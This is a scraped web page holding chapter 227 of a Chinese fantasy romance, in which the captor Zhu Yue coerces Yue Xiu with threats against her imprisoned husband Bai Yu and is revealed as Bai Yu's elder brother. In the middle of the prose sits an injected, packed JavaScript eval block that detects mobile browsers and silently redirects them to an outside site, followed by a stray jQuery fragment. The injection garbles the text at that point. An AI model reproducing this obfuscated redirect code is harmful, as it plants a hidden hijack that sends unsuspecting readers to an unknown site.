默认冷灰
24号文字
方正启体

227. (5)弟弟

作者:十三天雨本书字数:K更新时间:
    她又没忍住动手打了逐月,若是逐月报复在白玉身上,那便相当于是她亲手打在了白玉身上。


    若真如此,叫她之后要如何反抗逐月。


    如此想着她走了神。


    “水已经滚了。”逐月提醒。


    开锅,热气铺面瞬间让她红了脸,下了兔肉,趁着转身取调料的间隙,她悄悄抬眼观逐月神色。


    那巴掌印还在,他面无表情但视线追着她的手,叫人以为他在学如何烧菜。


    “为何不要花椒?你不喜吗?”


    沉默中,他忽然发问,她下意识抬眼便撞了一个四目相对。


    并不是她不喜,而是白玉不喜。


    脑海中浮现白玉的面容,与逐月相比白玉要柔和许多,他几乎不对人冷脸,总是笑嘻嘻的,说话也轻快,偶尔生气了眉眼也只是依稀可见锋利,而此刻面前的逐月虽是目光淡淡,但眉目间依旧硬朗。


    不知为何,白玉的面容和逐月相叠,她竟然透过逐月看出了几分白玉的影子。


    “为何盯着我?”


    她立马移开视线,掀开锅盖又翻了两下:“无事。”


    “你还未回答我的问题。”


    她深呼吸,开口:“并非我不喜,是相公不喜椒麻。”


    山下的人喜麻喜辣,菜中多放花椒调味。


    白玉第一次尝试花椒,明明菜上只撒了一些,他自己好奇嚼了几口,却吐舌皱起了脸,还一边喊着一边找水,最后还是被辣哭了。


    就是此刻回忆起来,也叫她好笑。


    “你笑什么?”


    不悦的语调截断回忆,她收起笑意抿唇不答,但逐月似乎铁了心要听答案,绕过灶台拉起她的手,强行与之对视。


    “夫妻之间的闲事,何须说与你听?”


    逐月面色不变,但周身散发寒意:“好。你记好了,你给我做的每道菜,都要放花椒,越多越好。”


    说罢松开她的手,转身抓了一大把花椒直接撒进了肉中,那椒麻之气登时散出,熏眼呛人,呛得她直咳嗽。


    用力扇风却不见效,反而将这呛人之气扇去了各个角落,随后,她听见了一声极力克制的咳嗽。


    桌案上,越绣与逐月对坐,他们面前是一道缀满花椒的兔肉,还有两碗饭。


    她始终垂着目光,不说话亦不动,但她不动是心中有气,她不解为何逐月也不动。


    “你先。”


    良久的沉默后,逐月开口。


    她闭上眼不愿,明着表示她不愿与他共同用饭。


    “你少用一顿,我就让白玉饿一天。”


    闻言她睁眼:“你何时肯让我见相公?”


    “那由我决定。”


    拳是松了紧又紧了松,她深呼吸一口,抓起筷子便开始用饭。


    见她动,逐月也动,只是不出片刻,咳嗽声此起彼伏。


    “咳咳!咳!咳咳!”


    “咳咳咳!”


    屋内响起沉闷的咳嗽,不光是越绣,连少有表情的逐月也拧着眉闷咳。


    他抓了太多花椒进去,气味浓味道大,一口下去只觉喉间缩得厉害,但是他的话既说了出去便不会收回,就算这花椒再刺激味觉,他也要大口吞下。


    随意夹起一块,那肉上满是椒粒,微微沉眼,嚼了两下他便直接吞下,为了掩饰这麻意,他干脆闭上眼。


    越绣用袖子掩面平缓,稍舒了两口气就听见对面传来骨骼碎裂声。


    抬眼看去,瞧他碗边无骨,竟是直接连肉带骨一起嚼了。


    她愣了一瞬,感受到他抬起的目光后又立马垂了视线。


    “看什么?”


    摇头不语,她自顾自吃着白饭。


    对面放了碗筷,又问了一遍:“说。”


    他的动作里有着不容拒绝的强硬,越绣攥紧了筷子,直视着他的双眼,道:“你与我相公一样,都是直接嚼骨而咽,我只是......”


    逐月拍了桌,或说他只是将手按在了桌面,但越绣适时止了话。


    他似乎没有怒,可平静的外表下心情是如何她揣摩不透。


    “再拿我与他相比,他舌头不保。”


    越绣愕然,用力攥紧筷子:“你蛮不讲理,是你偏要问,又偏要我答,如今却反过来要挟于我?”


    “那便连念头都不能有。”


    “你怎可!”


    “看来你不想用饭了。”


    他直接起身打断,拉起越绣就走。


    回头看着那几乎没动过的兔肉,越绣想到他的话赶紧表明:“你适才说我能用那洞中食物,我不会饿着自己,所以......所以......”


    “知道。”


    不着感情的嗓音从前头传来,逐月是背对着她的,宽阔的肩膀像堵墙一般让人倍感压力。


    她不知他又要拉自己去哪,跟着他的步伐她记忆路线。


    石门开,这里又是一处供人休息的洞穴,更加宽敞,然而宽敞却不明亮。


    洞穴内的油灯只点亮了几盏,石门一关便更加昏暗,看着不像洞穴,倒像陵墓。


    这里有床榻,有刀具,收拾得整齐又干净,她猜测是逐月的寝洞。


    他一入内便松开了她的手,坐到岩石做的榻前,对她吩咐:“替我包扎上药。”


    若不提,她倒真要忘了,那断笔造成的伤口还未处理。


    做饭吃饭现在又是包扎,完全就像不着感情的流程。


    他窥了他们的信,学到了生活的一角就来僵硬地实现,可又学得四不像,就像一知半解的孩子到处炫耀自己仅认得的字。


    她沉下语气,问:“我替你包扎,你可还会去伤他?”


    昏暗下,她瞧不清逐月的脸,但是听到他说:“不会。”


    松了口气,她张望一番,又问:“这里太暗,我可否多点几盏灯?”


    “可以。”


    片刻后,洞穴内一下明亮起来,她找来药物又端了烛台坐到逐月身旁,而他却只端坐着连手臂也不曾抬起。


    她无法,只能自己卷起他的衣袖露出了那血洞。


    伤口已经不流血了,但是有断刺留在了血肉中。


    她抬起他的手臂,嘱咐:“有残屑,我会用细刀挑出来,若疼,你知会我,别自己乱动。”


    “嗯。”


    烤了刀面,靠近烛火,她小心翼翼触碰那处细小血洞,细而薄的刀尖在里头翻找,挑出了几粒木屑,而她这一搅又引得伤口再次流血。


    “你是故意的吗?”


    他忽然问,可又问得不清不楚,她下意识问抬头,问:“什么?”


    逐月是俯视着她的,她的反问并没有得到回答,而是得到了一个沉默的眼神。


    “继续。”


    半晌只回了这二字,还偏过了视线,越绣抿唇继续替他上药。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673163|155540||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    清洗伤口,抹药,然后包扎,逐月始终垂着眼,却用余光观察越绣。


    对他们而言,受了伤只需要舔舐几下,或在山中寻几株草,或干脆放任不管,几乎不会用人类的方式处理伤口。


    但是他在信里读到了。


    他前去白玉的新房时,翻出了他们互通过的信,信里写了许多。


    诸如越绣为了感激白玉相救替他制衣,诸如越绣邀请白玉去河边踏春钓鱼,更有白玉请越绣替他洗刷皮毛......


    这些无趣又矫情的内容,他们竟然还要珍藏起来,制成了书页,随意一翻就是恶心的回忆。


    他又瞧了眼身旁的人。


    真是个愚蠢的女人。


    “已经好了。”


    越绣并不知逐月在想何事,只觉他异常安静,她已经包好了伤还不见他回神,只得出言提醒:“还要我做何事?”


    她俨然把替他做事当成了工作,似乎只要完成这些事,逐月就会放过白玉。


    “嗯。”


    低头瞧了眼,他应了一声,而后拉起了她的手掌。


    掌心内被碎石划破的伤口已有愈合的现象,他只粗粗瞧了眼便被她抽回了手。


    瞧她警惕的样子,逐月更觉她愚蠢。


    对一个骗子掏心掏肺,却识不得她真正该报答的人。


    直接让她知晓真相倒显得他很在意,可他根本就不在意,白玉他都不在乎,更别说眼前的女人,他只是想看戏,看她何时才能洞悉白玉的真面目。


    “人类的一天,大抵是洗衣做饭上工,我瞧女人还会侍奉男人,琉璃崖不用你上工,我亦不用你侍奉,你便只为我做前两件事即可。”


    他说得平淡,但越绣不觉平淡。


    唰一声站起,她瞪着逐月质问:“你竟要我伺候你?还只要为你做两件事?你可是被那花椒蒙了智,以为我会感激你只要我做两件事?”


    她陡然升高的嗓音不加掩饰地透着愤怒,逐月抬眼,冷眼瞧她:“是不愿意做还是不愿意为我做?想清楚再回答。”


    双拳用力到发抖,越绣整个人绷得紧紧的,愤怒冲上脑海很快又被理智降了温。


    她深呼吸,劝说自己冷静,白玉生死不明,她不能惹怒逐月。


    咬牙:“好,我做。”


    视线随着她愤而离去的背影,逐月摇了摇头。


    眼前人的狼狈尽收眼底,他进入关押白玉的牢房,欣赏着血液从穿透身体的铁链上滴落。


    白玉双臂拉开被铁铐牢牢拷紧,原本垂着的头在听见脚步声后挣扎着抬起。


    看清来人后,他化出满口犬齿,竟想直接上前攻击。


    逐月一把抓住他的头发让他仰起头定在原地。


    铁链铃叮作响,白玉圆眼怒瞪,咬牙切齿:“你究竟是谁?”


    逐月冷笑一声:“果真是久了,久到到连我的气味都认不得了。”


    白玉拧眉,鼻尖微动,嗅着他的气味却想不起来他的谁。


    白虎大多独居,偶有族群相互扶持,一族之中也不止一只虎崽。


    “我早早离开虎群四处游历,你是谁,我不知道。”


    逐月微微偏脸,眼中透着鄙夷:“是想不起来,还是不愿想起来,弟弟。”


    眼皮一跳,白玉睁大眼,越发用力嗅着他的气味。


    下一瞬,尖锐的犬牙沾染鲜血,白玉的脸上出现虎纹。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)